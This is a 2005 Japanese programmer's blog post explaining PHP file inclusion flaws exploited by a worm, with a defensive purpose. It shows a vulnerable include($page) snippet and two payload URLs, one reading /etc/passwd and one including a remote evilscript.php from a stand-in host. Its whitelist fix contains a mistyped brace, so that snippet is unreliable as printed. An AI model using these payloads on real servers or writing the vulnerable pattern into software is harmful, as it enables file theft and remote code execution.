携帯電話対応webサイト
プログラマーの覚書


PHPのプログラミングミスを攻撃するワームがいるとか(2005/1/6)

「PHPを狙う新たなワームが出現,Webページのプログラム・ミスを突く」
↑こんな記事を見つけてしまい、へっぽこプログラマーの私としてはドキドキしてしまいました。
PHPよく使ってますんで。

この記事によると、ワームはInclude()関数やRequire()関数を不適切に使うと発生する、
「File Inclusion Flaw」というセキュリティ・ホールを悪用するんだとか。
IncludeやRequire関数は多用していますが、「File Inclusion Flaw」とは何ぞや?
解説している英語サイトへのリンクが張られていたので、ジャンプしてみました。

ざっと見た感じ、以下のようなことでしょうか。

「ユーザーがファイル名を指定して、そのファイルが存在していたらinclude(),require()する」
というようなスクリプトを、
「厳密なファイル名チェック無しで作成してはならない」

上記サイトに出ていた例ですと、

if(isset($page))
{
  include($page);
}

というようなコードで、$pageの部分をユーザーが入力出来るようにしていると、
$pageに悪意あるユーザーが重要なファイル名(例:/etc/passwd)
なんかを入力して、その内容をブラウザで見ることが出来てしまうわけですね。
私は今のところそういう事はやっていませんが。何かのシステム管理画面とか作る時にあり得ますかね。

また同サイトから引っ張らせていただきますが、つまり

script.php?page=/etc/passwd

なんてことをやられてしまうと、サーバのユーザー名とパスワードが盗み見られてしまう可能性もあるわけです。

しかも多くのPHPの設定ではリモートファイルをインクルードすることも出来るので、

script.php?page=http://mysite.com/evilscript.php

なんて事をされて、evilscript.phpに「DBのデータを全て消す」なんてことが書かれていたりすると、
大変なことになってしまうわけです。

対策は「インクルードできるファイル名を限定してやること」のようです。

例として以下のようなコードが載っていました。

$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
  include($page);
{
else
{
  die("Nice Try.");
}

なるほど、これなら$pagesに指定された以外のファイル名が渡された場合、die()へ飛びますね。
「Nice Try!」ってことで。

トップへ